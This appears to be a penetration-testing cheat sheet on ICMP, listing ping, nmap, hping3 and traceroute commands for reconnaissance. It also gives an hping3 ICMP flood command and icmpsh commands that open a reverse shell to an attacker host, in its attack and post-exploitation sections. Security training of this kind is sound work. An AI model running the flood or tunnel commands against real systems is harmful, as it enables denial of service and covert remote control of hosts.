Skip to main content

Want to Practice These Techniques?

Try Hackviser's interactive cyber security upskilling platform - Learn by doing!

Start Practicing Now

ICMP (Internet Control Message Protocol)

Default Port: Not applicable

ICMP (Internet Control Message Protocol) is a network layer protocol used by network devices, including routers, to send error messages and operational information indicating success or failure when communicating with another IP address. It is commonly used for diagnostics and troubleshooting in IP networks.

ICMP operates by exchanging control messages between devices, informing them about network conditions, errors, and various other operational states.

Connect​

Ping Utility​

The ping command is used to send ICMP Echo Request messages to a target host:

ping <target-ip>

Recon​

Identifying ICMP Responses​

You can use Nmap to check if a target host responds to ICMP requests:

nmap -sn X.X.X.X

ICMP Unreachable Messages​

You can use hping3 to craft an ICMP Destination Unreachable message and observe how a system or network device handles it:

hping3 --icmp --icmptype 3 --icmpcode 1 <target-ip>

Enumeration​

ICMP Echo Requests​

ping -c 1 <target-ip>

ICMP Time Exceeded Messages​

Using traceroute, you can trace the route packets take to a destination and identify routers along the path:

traceroute <target-ip>

Attack Vectors​

ICMP Redirect Attacks​

ICMP Redirect messages can be exploited to manipulate a host's routing table and redirect its traffic through an attacker-controlled device:

On a Linux host, review whether ICMP redirects are accepted with:

sysctl net.ipv4.conf.all.accept_redirects

ICMP Flood Attacks​

ICMP Flood attacks involve overwhelming a target host with a large volume of ICMP Echo Requests:

hping3 --flood --icmp <target-ip>

Post-Exploitation​

Ping Sweep​

After gaining access to a network, performing a ping sweep can help identify live hosts:

nmap -sn <network-range>

ICMP Tunneling​

ICMP tunneling encapsulates data inside ICMP packets. For example, icmpsh uses ICMP Echo Request and Echo Reply packets to provide a reverse shell.

On the master system, disable the operating system's ICMP Echo Replies and start the master with the source and destination addresses:

sysctl -w net.ipv4.icmp_echo_ignore_all=1
python icmpsh_m.py <attacker-ip> <target-ip>

Run the Windows slave on the target and point it to the master:

icmpsh.exe -t <attacker-ip>